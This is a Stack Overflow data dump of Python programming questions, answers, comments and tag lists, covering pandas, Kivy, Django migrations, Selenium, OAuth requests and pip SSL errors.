tagged with: crc32
score: 8
upvote count: 8
type: Question
possible better answer: http://stackoverflow.com/a/68883969
accepted answer: http://stackoverflow.com/a/47342378
answer count: 2
has answer: http://stackoverflow.com/a/68883969
has body: I tried to get CRC32 of a string data type variable but I'm getting the following error: &gt;&gt;&gt; message='hello world!' &gt;&gt;&gt; import binascii &gt;&gt;&gt; binascii.crc32(message) Traceback (most recent call last): File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt; TypeError: a bytes-like object is required, not 'str' For a string value, it can be done with binascii.crc32(b'hello world!') but I would like to know how to do this for a string data-type variable.
tagged with: python

http://stackoverflow.com/comment/81418644
type: Comment
type: QuestionComment
has text: you need to add c:\Python27 to your path ... you will need to google to learn how
score: 0
comment on: http://stackoverflow.com/q/47234002

http://stackoverflow.com/a/47362617
has comment: http://stackoverflow.com/comment/138279905
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47360880
type: Answer
has body: You can't index nested field at once, you have to index each item inside separately. To create an index on the nested field, just give its full field path with . separator, db.collection.createIndex('field2.nestedfield1')
answers question: http://stackoverflow.com/q/47360880
score: 1
type: AcceptedAnswer

http://stackoverflow.com/q/47373607
answer count: 1
accepted answer: http://stackoverflow.com/a/47373610
upvote count: 1
tagged with: python
has body: This code is in the book Kivy – Interactive Applications and Games in Python - Second Edition by Roberto Ulloa. #:kivy 1.9.0 &lt;Subtitle@Label&gt;: bcolor: .1, .1, .1, 0 halign: 'center' font_size: '20px' size: self.texture_size[0]+20, self.texture_size[1]+20 y: 50 canvas.before: Color: rgba: self.bcolor Rectangle: pos: self.pos size: self.size The class Subtitle in the subtitle.kv file is derived from Label and is used to display subtitles in a video player (the player project is a tutorial which takes a full section of the book.) bcolor is used from the Python code in video.py to change the opacity of the subtitles. def display_subtitle(self, sub): self.sub = sub self.slabel.text = sub['content'] self.slabel.bcolor = .1, .1, .1, .8 The full code can be found here and here. The two last lines change the attributes of the a Subtitle instance named slabel. As the code is written it doesn't run. Error: [WARNING] stderr: 11: Color: [WARNING] stderr: &gt;&gt; 13: rgba: self.bcolor [WARNING] stderr: 14: [WARNING] stderr: 15: Rectangle: [WARNING] stderr: ... [WARNING] stderr: TypeError: 'NoneType' object is not iterable What is the reason self.bcolor is equal to None? Python 3.6.1 - Kivy 1.10.0 - Windows 7 (64 bits)
type: AnsweredQuestion
score: 1
downvote count: 0
tagged with: kivy
favorite count: 0
type: Question
tagged with: kivy-language
has title: Canvas color bound to property (Kivy book): TypeError: 'NoneType' object is not iterable
has answer: http://stackoverflow.com/a/47373610

http://stackoverflow.com/q/47249833
downvote count: 0
answer count: 1
has title: error installing skmultilearn.problem_transform package
favorite count: 0
type: Question
has body: The error I get is : Could not find a version that satisfies the requirement skmultilearn.problem_transform (from versions: ) No matching distribution found for skmultilearn.problem_transform
tagged with: python
tagged with: scikit-multilearn
score: 2
tagged with: python-2.7
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47763026

http://stackoverflow.com/a/47346608
answers question: http://stackoverflow.com/q/47343649
has body: Just for reference, a shorter version of your code. Always prefer "with" syntax over explicit open and close. with open("Tokens.txt") as f: text = " ".join(f.readlines()) [print(i) for i in tokenizer(text)]
type: Answer
score: 0

http://stackoverflow.com/q/47255884
has answer: http://stackoverflow.com/a/47256290
has title: How to create Function on Python to return a dict() from a string?
answer count: 1
score: -3
has comment: http://stackoverflow.com/comment/81463020
tagged with: python
tagged with: dictionary
has body: I want create a function which receve a string (str) with data from a txt file and return the dict like that: values = {'first' : 43, 'second': 42, ....} but my code prints {'first': '43'} {'second': '42'} {.....} I used Print() .. openfile = open('file.txt', 'r') for lines in openfile : dataf = lines.split('-') dictionary = {} dictionary[dataf[0] = dataf[1] print(dictionary) I did it, but it isn't what I want. can someone help me with this? thanks
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81462658
accepted answer: http://stackoverflow.com/a/47256290
downvote count: 3
has comment: http://stackoverflow.com/comment/81462995
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81463215
tagged with: function
upvote count: 0

http://stackoverflow.com/q/47342194
has comment: http://stackoverflow.com/comment/81636692
has body: I need help knowing which of the following are TRUE in a recursive function in python A recursive solution to a problem is always preferable A recursive function calls itself Each recursive call diminishes the size of the problem A recursive function can have one or more base cases A recursive function can have one or more recursive steps. Could I please get an answer as to which of these are true. MORE THAN ONE can be correct. This was one of my past papers in my subject but I couldn't get the right answer for 5 and I was wondering if that was true or false. This isn't for homework and I'm not asking to just get the answer but for a further understanding of recursive functions in python. Thank you!
upvote count: 0
score: -12
has comment: http://stackoverflow.com/comment/81636671
has comment: http://stackoverflow.com/comment/81636560
tagged with: function
downvote count: 12
tagged with: python
type: AnsweredQuestion
tagged with: recursion
accepted answer: http://stackoverflow.com/a/47342303
has answer: http://stackoverflow.com/a/47342303
answer count: 1
has title: Python recursion facts
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81636572

http://stackoverflow.com/a/47364361
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47364310
has body: The problem in your script is in the indetention. Basically, in order to fix the problem, you should change your code in this way: options = input("enter the desired option:") if options == 'Add': print(num1+num2) print('num1+num2=', num1+num2) elif options == 'Sub': print(num1-num2) print('num1-num2=', (num1-num2)) In your code, the line print('num1+num2=', num1+num2) ended the if statement, and so elif doesn't have any meaning

http://stackoverflow.com/q/47373939
answer count: 2
tagged with: padding
accepted answer: http://stackoverflow.com/a/47373957
upvote count: 1
tagged with: python
downvote count: 1
favorite count: 0
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/54862200
has answer: http://stackoverflow.com/a/54862200
has body: I need to pad a numpy array at the start of the array if it is not 8 bits long. For example: If I have an array which is [1 0 0] it should be [0 0 0 0 0 1 0 0]. However, if it is already [1 0 0 0 0 0 0 0] (8 bits long), I do not have to do anything with it. Thanks
has answer: http://stackoverflow.com/a/47373957
has title: Padding a numpy array at the start of an array
type: Question
tagged with: numpy

http://stackoverflow.com/comment/81440481
has text: Yes, I know how to get the number of days in between (wrote that unclearly in the question), but that does not allow to find if a specific date is between those days
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47245009
type: Comment

http://stackoverflow.com/a/47291650
accepted answer of: http://stackoverflow.com/q/47291639
has body: Try this: home.loc[home['b'].str.len()==0] UPDATE: In [313]: d Out[313]: a b c 0 book [living room] [cat, foo] 1 shoes [door] [man, woman] 2 cook [] [knife] In [314]: lst = ['cat','foo'] In [315]: d.loc[d['c'].astype(str) == str(lst)] Out[315]: a b c 0 book [living room] [cat, foo]
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81534259
has comment: http://stackoverflow.com/comment/81533893
has comment: http://stackoverflow.com/comment/81534010
answers question: http://stackoverflow.com/q/47291639
type: Answer
has comment: http://stackoverflow.com/comment/81534334
score: 2
upvote count: 2

loops
tags question: http://stackoverflow.com/q/47351437
tags question: http://stackoverflow.com/q/47268554
tags question: http://stackoverflow.com/q/47381225
tags question: http://stackoverflow.com/q/47271232
tags question: http://stackoverflow.com/q/47264278
tags question: http://stackoverflow.com/q/47369873
tags question: http://stackoverflow.com/q/47256935
tags question: http://stackoverflow.com/q/47270371
tags question: http://stackoverflow.com/q/47298470
tags question: http://stackoverflow.com/q/47342899
tags question: http://stackoverflow.com/q/47366403
tags question: http://stackoverflow.com/q/47357965
tags question: http://stackoverflow.com/q/47340314
tags question: http://stackoverflow.com/q/47300303
tags question: http://stackoverflow.com/q/47255863
tags question: http://stackoverflow.com/q/47252321
tags question: http://stackoverflow.com/q/47337328
tags question: http://stackoverflow.com/q/47250684
tags question: http://stackoverflow.com/q/47261364
tag name: loops
tags question: http://stackoverflow.com/q/47286291
tags question: http://stackoverflow.com/q/47267698
tags question: http://stackoverflow.com/q/47255981
tags question: http://stackoverflow.com/q/47341434
tags question: http://stackoverflow.com/q/47296267
tags question: http://stackoverflow.com/q/47379917
tags question: http://stackoverflow.com/q/47321458
tags question: http://stackoverflow.com/q/47258098
tags question: http://stackoverflow.com/q/47295198
tags question: http://stackoverflow.com/q/47299949
tags question: http://stackoverflow.com/q/47228362
tags question: http://stackoverflow.com/q/47238250
tags question: http://stackoverflow.com/q/47382294
tags question: http://stackoverflow.com/q/47269286
tags question: http://stackoverflow.com/q/47243240
tags question: http://stackoverflow.com/q/47276414
tags question: http://stackoverflow.com/q/47254563
tags question: http://stackoverflow.com/q/47345935
tags question: http://stackoverflow.com/q/47378183
tags question: http://stackoverflow.com/q/47298253
tags question: http://stackoverflow.com/q/47361776
tags question: http://stackoverflow.com/q/47333399
tags question: http://stackoverflow.com/q/47283008
type: Tag
tags question: http://stackoverflow.com/q/47255011
tags question: http://stackoverflow.com/q/47303487
tags question: http://stackoverflow.com/q/47320134
tags question: http://stackoverflow.com/q/47327233
tags question: http://stackoverflow.com/q/47351334
tags question: http://stackoverflow.com/q/47228052
tags question: http://stackoverflow.com/q/47340221
tags question: http://stackoverflow.com/q/47294321
tags question: http://stackoverflow.com/q/47337483
tags question: http://stackoverflow.com/q/47260348
tags question: http://stackoverflow.com/q/47233728
tags question: http://stackoverflow.com/q/47355269
tags question: http://stackoverflow.com/q/47371627
tags question: http://stackoverflow.com/q/47316270

http://stackoverflow.com/q/47232083
downvote count: 1
has comment: http://stackoverflow.com/comment/81416644
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: javascript
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/47232222
has answer: http://stackoverflow.com/a/47232639
answer count: 2
has comment: http://stackoverflow.com/comment/81415015
upvote count: 0
has title: Can't find a way to click on element in Chrome webdriver - Selenium
tagged with: selenium
has body: I'm trying to click an element with Chrome webdriver but i just can't figure out a way to click it. The page is showing after i've logged in, so i can't post the website URL The HTML code of the element is: question_answer Conversations I've tried any way that i can't think of to click on the element but i'm always keep getting error: Message: no such element: Unable to locate element The xpath of the element is //*[@id="dashboard-cards"]/gf-dashboard-card[1] which gives me nothing. One interesting thing is that in Firefox webdriver i can click it with driver.find_element_by_class_name("ng-isolate-scope").click() but it is not working with Chrome. I can click the element through the console with $('.md-subhead').click(); But haven't figured out how to run this via Selenium. Any idea how i can run it?
tagged with: jquery
tagged with: google-chrome

http://stackoverflow.com/comment/96082251
type: Comment
has text: @JoergVanAken try again
comment on: http://stackoverflow.com/a/47353116
type: AnswerComment
score: 0

big-o
tags question: http://stackoverflow.com/q/47364370
tags question: http://stackoverflow.com/q/47380486
type: Tag
tag name: big-o

http://stackoverflow.com/comment/81461229
type: AnswerComment
has text: or alternatively use bigger quotes for the outside string. `'''` or `"""`
score: 0
comment on: http://stackoverflow.com/a/47255274
type: Comment

http://stackoverflow.com/a/47270829
downvote count: 1
answers question: http://stackoverflow.com/q/47270789
has body: You're trying to "sum" strings, which of course doesn't work. You'll need to make them integers or floats to add them up. How exactly you could do that depends on what you expect the user to input. This may work addup=[float(x) for x in addup]
type: Answer
has comment: http://stackoverflow.com/comment/81492636
score: 0
has comment: http://stackoverflow.com/comment/81492555
has comment: http://stackoverflow.com/comment/81492632
has comment: http://stackoverflow.com/comment/81492648
upvote count: 1

http://stackoverflow.com/a/47259646
type: Answer
accepted answer of: http://stackoverflow.com/q/47259570
downvote count: 0
answers question: http://stackoverflow.com/q/47259570
type: AcceptedAnswer
upvote count: 4
has body: You can use DatetimeIndex.strftime and DatetimeIndex.year and for correct ordering use sorted CategoricalIndex, last reshape by pivot: c = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'] df = pd.pivot(index=pd.CategoricalIndex(df.index.strftime('%b'), ordered=True, categories=c), columns=df.index.year, values=df['value']) print (df) 2015 2016 2017 Jan 201.55 201.65 201.75 Feb 201.60 201.70 201.80 Mar 201.65 201.75 201.85 Apr 201.70 201.80 201.90 May 201.75 201.85 201.95 Jun 201.80 201.90 202.00 Jul 201.85 201.95 202.05 Aug 201.90 202.00 202.10 Sep 201.95 202.05 202.15 Oct 202.00 202.10 202.20 Nov 202.05 202.15 202.25 Dec 202.10 202.20 202.30 df.plot() Another solution is create new columns: df['months'] = pd.CategoricalIndex(df.index.strftime('%b'), ordered=True, categories=c) df['years'] = df.index.year df = df.pivot(index='months', columns='years',values='value')
score: 4
has comment: http://stackoverflow.com/comment/122126087
has comment: http://stackoverflow.com/comment/122126132
has comment: http://stackoverflow.com/comment/81470844
has comment: http://stackoverflow.com/comment/122126678

http://stackoverflow.com/comment/81552724
type: QuestionComment
score: 0
has text: Yes, but how do you use the results of `MyCode.py`? How are you using the matrix in Matlab? There must be some form of data-transfer?
comment on: http://stackoverflow.com/q/47298491
type: Comment

http://stackoverflow.com/q/47228980
upvote count: 2
tagged with: django
tagged with: python
accepted answer: http://stackoverflow.com/a/47238906
type: AnsweredQuestion
score: 2
has body: After adding some models, I used makemigrations to generate a migration : # -*- coding: utf-8 -*- # Generated by Django 1.11.7 on 2017-11-10 18:10 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import django.utils.timezone import uuid class Migration(migrations.Migration): dependencies = [ ('restaurants', '0011_auto_20171024_1428'), ('shop', '0003_auto_20171110_1505'), ] operations = [ migrations.CreateModel( name='Customer', fields=[ ('email', models.CharField(max_length=255, unique=True)), ('newsletter', models.BooleanField(default=False)), ('key', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False, verbose_name='clé')), ], ), migrations.CreateModel( name='Order', fields=[ ('number_of_guests', models.PositiveSmallIntegerField()), ('key', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False, verbose_name='clé')), ('date_created', models.DateTimeField(auto_now_add=True)), ('date_changed', models.DateTimeField(auto_now=True)), ('customer', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='shop.Customer')), ('deal', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='restaurants.Deal')), ], ), migrations.AddField( model_name='payment', name='date_created', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now), preserve_default=False, ), migrations.AddField( model_name='payment', name='stripe_token', field=models.CharField(default=django.utils.timezone.now, max_length=5000), preserve_default=False, ), migrations.AddField( model_name='payment', name='order', field=models.ForeignKey(default=django.utils.timezone.now, on_delete=django.db.models.deletion.CASCADE, to='shop.Order'), preserve_default=False, ), ] This seems fine, but when I run the migration, it fails with the following traceback : Applying shop.0004_auto_20171110_1910...Traceback (most recent call last): File "manage…
has answer: http://stackoverflow.com/a/47238906
tagged with: uuid
has comment: http://stackoverflow.com/comment/120632765
answer count: 1
downvote count: 0
tagged with: migrate
has title: "TypeError: an integer is required (got type str)" when applying migrations
favorite count: 0
type: Question
tagged with: django-migrations

http://stackoverflow.com/q/47223627
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81404513
type: UnansweredQuestion
has title: pandas set column values for rows based on the number of rows with the same value on another column
tagged with: dataframe
tagged with: python
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/81398855
downvote count: 0
tagged with: pandas
answer count: 0
has comment: http://stackoverflow.com/comment/81399460
has comment: http://stackoverflow.com/comment/81399312
has comment: http://stackoverflow.com/comment/81398151
has body: I have the following dataframe with 4 columns, cluster_a cluster_b cluster_c cluster_d -1 1 10 -1 -1 3 9 -1 1 1 3 4 1 1 3 4 2 2 9 9 2 2 9 9 for rows with values > -1 for cluster_a, I want to set their column values to -1 for cluster_b or cluster_c or cluster_d, if these rows do not have the same values for any of these columns from row(s) whose cluster_a == -1. But leave the column values intact if these rows can find corresponding values in row(s) whose cluster_a == -1. rows with the same cluster_a value, also having the same values for the rest of the columns. so the result df looks like, cluster_a cluster_b cluster_c cluster_d -1 1 10 -1 -1 3 9 -1 1 1 -1 -1 1 1 -1 -1 2 -1 9 -1 2 -1 9 -1 here rows 1 1 3 4 1 1 3 4 have the same cluster_a value and this value is > -1, we consider them as in the same group (id_rows in the code), since their cluster_b value is the same as the 1st row in df, -1 1 10 -1 their cluster_b will not be set to -1. However, not so for their cluster_c and cluster_d, since their cluster_c and cluster_d could not find the same values in rows whose cluster_a == -1, which are -1 1 10 -1 -1 3 9 -1 the result of the above two rows whose cluster_a == 1 is hence 1 1 -1 -1 1 1 -1 -1 this is my code, # get unique cluster_a values which are &gt; -1 cluster_a_ids = df[df['cluster_a'] &gt; -1]['cluster_a'].unique() other_clusters = ['cluster_b', 'cluster_c', 'cluster_d'] # iterate through unique cluster_a values for id in cluster_a_ids: # get the rows whose cluster_a == id id_rows = df[df['cluster_a'] == id] # iterate through the other columns for cluster in other_clusters: # find rows from df where e.g. cluster_b == value in cluster_b column of id_rows match_rows = df[df[cluster] == id_rows[cluster].values[0]] if match_rows.shape[0] == id_rows.shape[0]: df.loc[match_rows.index, cluster] = -1 I am wondering if there is a more concise/efficient way to do it.

http://stackoverflow.com/comment/81627963
type: Comment
type: QuestionComment
score: 0
has text: 1) I don't handle GET requests in this route function. Or what do you mean? 2) No I didn't. Do you mean smth like this https://gist.github.com/b4oshany/350305ef729fcc70fda1? 3) libapache2-mod-wsgi, 4.3.0-1.1build1, amd64 Can you advise how to properly handle such action - when I need to respond to HEAD request with specified header?
comment on: http://stackoverflow.com/q/47337221

http://stackoverflow.com/a/47231020
downvote count: 0
upvote count: 1
has body: Such a tool doesn't and cannot exist until you give an objective definition to "(obvious) unnecessary calls to deepcopy". E.g. the example you've given is plain wrong. If you read the original object instead of a deepcopy and that object is mutated, you'll be getting the new data when reading it instead of what it held at the moment the copy was made.
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47229767

http://stackoverflow.com/q/47261378
tagged with: opencv
score: -2
tagged with: python
tagged with: computer-vision
has body: I am currently working on a project which is image processing with OpenCV and one of its function is to detect the tip of the triangle. I want to detect ONLY the tip of the triangle, how can I detect and what algorithm is the best approach for this? Here is the sample picture of the tip of the triangle
has comment: http://stackoverflow.com/comment/81640027
downvote count: 3
upvote count: 1
type: UnansweredQuestion
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81473863
type: Question
has answer: http://stackoverflow.com/a/47261646
has title: How to detect the TIP of the triangle in image processing with OpenCV?

http://stackoverflow.com/comment/81532801
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47290962
has text: Here is a starting point... Modifying the answer from the link you provided to this `[line[i-n:i] for i in range(len(line), 0, -n)]` gets you `['890', '567', '234', '']`

http://stackoverflow.com/comment/124690170
has text: those are not Python comments
type: AnswerComment
comment on: http://stackoverflow.com/a/70521060
score: 0
type: Comment

http://stackoverflow.com/q/47333500
has comment: http://stackoverflow.com/comment/81644931
has body: I came around this question and got quite disappointed by how the tensorflow developers try to make the tensorflow directory appear as the actual package, whereas the actual package root is actually tensorflow/python. By using a __init__.py file of the form from tensorflow.python import * del python they try to achieve this goal. This results in some inconsistent behaviour (at least so it seems to me) when working with the package, e.g. import tensorflow.python # seems to work tensorflow.python # AttributeError: no attribute 'python' from tensorflow.python import Session # works as expected tensorflow.python.Session # AttributeError: no attribute 'python' from tensorflow import python # works as expected tensorflow.nn # works as expected import tensorflow.nn # ImportError: no module 'tensorflow.nn' tensorflow.nn.tanh # works as expected from tensorflow.nn import tanh # ImportError: no module 'tensorflow.nn' Now, I was wondering whether/how it could be possible to avoid most/all of these issues to get a more consistent behaviour. The first set of inconsistencies could be easily resolved by not deleting the python attribute. However, given that the goal would be to make the complete package appear as if it is a sub-package, this might not be entirely satisfactory. To keep things simple, let's consider the following package structure package/ __init__.py api/ __init__.py code.py where package/api/code.py looks something like def a(): return 'alpha' def b(): return 'bravo' and package/api/__init__.py would be import package.api.code would it be possible to create package/__init__.py so that the following works import package.api # ImportError: no module 'package.api' package.api # AttributeError: no attribute 'api' from package.api import code # ImportError: no module 'package.api' package.api.code # AttributeError: no attribute 'api' from package import api # ImportError: cannot import 'api' package.code # works as expected import package.code # works as above package.…
has title: Is it possible to make subpackage appear as the actual package
tagged with: python-import
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81648635
tagged with: package
has comment: http://stackoverflow.com/comment/81618611
tagged with: python
linked to: http://stackoverflow.com/q/47304999
has answer: http://stackoverflow.com/a/47353464
has comment: http://stackoverflow.com/comment/81649999
has comment: http://stackoverflow.com/comment/81649302
has comment: http://stackoverflow.com/comment/81647974
linked to: http://stackoverflow.com/q/4855936
answer count: 2
downvote count: 0
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/47352454
has comment: http://stackoverflow.com/comment/81652896
favorite count: 0
type: Question

http://stackoverflow.com/q/47231635
has comment: http://stackoverflow.com/comment/81447168
score: 1
tagged with: python
type: Question
answer count: 0
tagged with: oauth
has body: I am using requests and requests-oauthlib to access smugmug REST API but it always results in: {"Code":401,"Message":"oauth_problem=consumer_key_unknown"} I am sure that the consumer/API key is correct. Have I put the consumer key in the correct place (I assume resource_owner_key=consumer key)? Smugmug provides an access token and token secret when dealing with your own account so I do not have to go through the process of requesting one. The below code tries 2 different methods - same result. Any ideas what I am doing wrong? import requests from requests_oauthlib import OAuth1 from requests_oauthlib import OAuth1Session url = 'https://api.smugmug.com/api/v2/user/XXXXXX' client_key = 'Access Token Here' client_secret = 'Token Secret Here' resource_owner_key = 'API Key Here' resource_owner_secret = 'API Secret Here' oauth = OAuth1Session(client_key, client_secret=client_secret, resource_owner_key=resource_owner_key, resource_owner_secret=resource_owner_secret) headers = {'content-type': 'application/json', 'Accept': 'application/json'} r = oauth.get(url, headers=headers) print r.content headeroauth = OAuth1(client_key, client_secret, resource_owner_key, resource_owner_secret, signature_type='auth_header') r = requests.get(url, auth=headeroauth, headers=headers) print r.content
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python-requests
favorite count: 0
has title: request oauthlib with smugmug API - get 401

http://stackoverflow.com/a/47360027
answers question: http://stackoverflow.com/q/47359000
score: 0
has body: Since I can't comment, I will provide it as an answer. You didn't provide a proper input, so it is hard to answer your question. However, I suspect that perhaps your dataset is not a list- take a look at the diagram of 4 different types of data for creating a DataFrame in this link: http://pbpython.com/pandas-list-dict.html this should work for you
type: Answer

http://stackoverflow.com/q/47367797
accepted answer: http://stackoverflow.com/a/47367902
has title: Python - How to get port of sender socket (UDP)
has body: If I have a UDP socket like so: import socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) and the socket can send data: sock.sendto("message", address) How do I find out the port of the socket - the port used when sending data to address? EDIT: I tried sock.getsockname() but this raises an error: [Errno 10022] An invalid argument was supplied
tagged with: udp
has answer: http://stackoverflow.com/a/47367902
type: AnsweredQuestion
favorite count: 0
type: Question
tagged with: sockets
downvote count: 0
tagged with: python
answer count: 1
upvote count: 6
score: 6

http://stackoverflow.com/comment/81798160
comment on: http://stackoverflow.com/q/47381800
type: Comment
type: QuestionComment
has text: @PeterWood "Can't find any such character" I guess I can't search on the character when it's formatted as hex in the editor.
score: 0

http://stackoverflow.com/q/47237635
linked to: http://stackoverflow.com/q/1546226
has answer: http://stackoverflow.com/a/47237671
downvote count: 1
type: AnsweredQuestion
score: 0
has body: I'm trying to remove all white spaces between special characters and words. For example, "My Sister ' s boyfriend is taking HIS brother to the movies . " to "My Sister's boyfriend is taking HIS brother to the movies." How to do this in Python? Thank you
tagged with: python
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/47237671
answer count: 1
has title: remove white spaces between special characters and words python
upvote count: 1

http://stackoverflow.com/a/47352362
has body: My opinion is that the correct way is to encapsulate this in a class. The path is set at instance creation, and method calls use the list of lines. That way you can even have different files at the same time: class finder: def __init__(self, path): with open(path, 'r') as f: self.lines = [line.strip() for line in f] def is_in_file(self, element): return element in lines That is not exactly what you have asked for, but is much more OO.
downvote count: 0
has comment: http://stackoverflow.com/comment/81665240
type: Answer
has comment: http://stackoverflow.com/comment/81657385
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/47352136

http://stackoverflow.com/a/47359359
has comment: http://stackoverflow.com/comment/82028045
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47359135
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81679215
has comment: http://stackoverflow.com/comment/82033223
accepted answer of: http://stackoverflow.com/q/47359135
score: 4
has comment: http://stackoverflow.com/comment/82033130
has comment: http://stackoverflow.com/comment/82027991
has body: Using your result dataframe, we need sorted and dropna result.apply(lambda x : sorted(x,key=pd.isnull)).dropna(thresh=1) Out[1171]: 129 30 32 851 9730 9882 0 r170557 ARCA 100.0 NaN NaN NaN 1 r170557 ARCA 300.0 NaN NaN NaN
upvote count: 4

http://stackoverflow.com/a/47381392
upvote count: 2
has comment: http://stackoverflow.com/comment/81724544
has comment: http://stackoverflow.com/comment/81715698
downvote count: 0
has comment: http://stackoverflow.com/comment/81716435
has comment: http://stackoverflow.com/comment/81716661
has comment: http://stackoverflow.com/comment/81715870
has comment: http://stackoverflow.com/comment/81716383
type: Answer
answers question: http://stackoverflow.com/q/47381121
has body: Required value generated dynamically, so you need to wait until it appeared in DOM: from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait as wait print(wait(driver, 10).until(EC.presence_of_element_located((By.XPATH, "//span[@data-reactid='61']"))).text)
has comment: http://stackoverflow.com/comment/81716261
score: 2
has comment: http://stackoverflow.com/comment/81716016

http://stackoverflow.com/comment/138174249
score: 0
type: Comment
has text: user agent did it for me. Thank you. Didn't see this answer anywhere else literally.
type: AnswerComment
comment on: http://stackoverflow.com/a/63049009

http://stackoverflow.com/q/47272291
has comment: http://stackoverflow.com/comment/81495561
type: UnansweredQuestion
downvote count: 2
duplicate of: http://stackoverflow.com/q/7129285
upvote count: 1
tagged with: python
has body: Brand new to python. When using the map function in python, i get a series of the word "none" as an output when i run my function. ive added screenshot below. Code def rawGradeToLetter(grade): if grade &gt;= 90: print ("A") elif grade &lt; 90 and grade &gt;= 80: print ("B") elif grade &lt; 80 and grade &gt;= 70: print ("C") elif grade &lt; 70 and grade &gt;= 60: print ("D") elif grade &lt; 60: print ("F") def convertRawsToLetters(myList): return list(map(rawGradeToLetter, myList)) Example run: &gt;&gt;&gt; convertRawsToLetters([90,80,70]) A B C [None, None, None] I have a feeling it has something to do with the word list before the map function, but if I remove that all I get is the address of the map like "map object at 0x8g9b7ea51950".
score: -1
has answer: http://stackoverflow.com/a/47272401
has title: What are these "none" at the bottom of my output?
has answer: http://stackoverflow.com/a/47272331
linked to: http://stackoverflow.com/q/750136
answer count: 3
has comment: http://stackoverflow.com/comment/81495792
linked to: http://stackoverflow.com/q/7129285
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47272393

http://stackoverflow.com/q/47265611
score: 4
tagged with: openssl
type: AnsweredQuestion
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81487065
favorite count: 0
type: Question
has title: pip3 can't install anything due to some reason about ssl
upvote count: 5
has comment: http://stackoverflow.com/comment/81483281
has body: After upgrading my ubuntu server 16.04, I can't install modules with pip3 for my python3.6. This is what I get when I try to install tensorflow-gpu for python3: root@amax:~# pip3 install tensorflow-gpu pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available. Collecting tensorflow-gpu Could not fetch URL https://pypi.python.org/simple/tensorflow-gpu/: There was a problem confirming the ssl certificate: Can't connect to HTTPS URL because the SSL module is not available. - skipping Could not find a version that satisfies the requirement tensorflow-gpu (from versions: ) No matching distribution found for tensorflow-gpu This is my python3 and pip3 version: root@amax:~# python3 -V Python 3.6.1 root@amax:~# which python3 /usr/local/bin/python3 root@amax:~# pip3 -V pip 9.0.1 from /usr/local/lib/python3.6/site-packages (python 3.6) I am sure that the openssl is installed on my server: root@amax:~# apt -y install openssl libssl-dev Reading package lists... Done Building dependency tree Reading state information... Done libssl-dev is already the newest version (1.0.2g-1ubuntu13). openssl is already the newest version (1.0.2g-1ubuntu13). I think the cause of the problem might be the version of my pip3 doesn't match the openssl version. What should I do? Any suggestions will be appreciated! Thank you!
has answer: http://stackoverflow.com/a/47265729
accepted answer: http://stackoverflow.com/a/47265729
tagged with: pip
tagged with: ssl
tagged with: python
has comment: http://stackoverflow.com/comment/81484341
linked to: http://stackoverflow.com/q/44290926
tagged with: ubuntu

http://stackoverflow.com/comment/81593975
comment on: http://stackoverflow.com/q/47321436
has text: the desired out put and what I get is a print out of names such as: "Ailish Johnson", the code works fine, it's out of a book I just need help understanding it.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/47294431
tagged with: macos
type: Question
score: 0
possible better answer: http://stackoverflow.com/a/49868783
answer count: 2
has title: Python pip py31compat import error
tagged with: pip
has answer: http://stackoverflow.com/a/47725796
linked to: http://stackoverflow.com/q/46998858
